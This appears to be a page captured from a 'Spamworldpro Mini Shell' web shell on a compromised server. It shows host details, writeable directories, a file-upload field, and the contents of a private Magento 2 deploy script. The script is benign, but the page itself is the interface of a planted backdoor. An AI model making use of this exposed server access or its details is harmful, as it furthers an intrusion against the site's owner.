Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/deploy_prod.sh
#!/bin/bash
SCRIPTPATH="$(
    cd "$(dirname "$0")"
    pwd -P
)"

echo "Starting Magento 2 deploy"

# Maintenance mode ON - Site closed!
echo "Enabling maintenance mode"
php $SCRIPTPATH/bin/magento maintenance:enable --ip=90.63.253.72

# git pull
echo "git pull"
cd $SCRIPTPATH/ && git pull || exit "MAINTENANCE MODE STILL ACTIVATED !!!"

# Composer install
echo "Composer install"
cd $SCRIPTPATH/ && composer install --no-dev

# Setup upgrade
echo "Setup upgrade"
php $SCRIPTPATH/bin/magento setup:upgrade

# DI compilation
echo "DI compilation"
php $SCRIPTPATH/bin/magento setup:di:compile

# Static deployment
echo "Static deploy"
php $SCRIPTPATH/bin/magento setup:static-content:deploy en_US
php $SCRIPTPATH/bin/magento setup:static-content:deploy fr_FR

# Gulp Styles
echo "Gulp Styles"
cd $SCRIPTPATH/vendor/snowdog/frontools/ && gulp styles --prod

# Invalidate all index in order to be sure to reindex full
#echo "Indexers reset"
php $SCRIPTPATH/bin/magento indexer:reset

# Full reindex
#echo "Full reindex"
php $SCRIPTPATH/bin/magento indexer:reindex

# Make sure caches are enabled
echo "Enable cache"
php $SCRIPTPATH/bin/magento cache:enable

# Cache flush
echo "Cache flush"
php $SCRIPTPATH/bin/magento cache:flush

# Flush PHP OPcache
echo "OPcache reset"
bash /usr/local/sbin/opcache_reset.sh

# Maintenance mode OFF - Site live!
echo "Disable maintenance mode"
php $SCRIPTPATH/bin/magento maintenance:disable

# Optimize autoloader with APCu, in background
echo "Composer dump-autoload"
cd $SCRIPTPATH/ && composer dump-autoload -o --apcu

echo "Deploy completed"

Spamworldpro Mini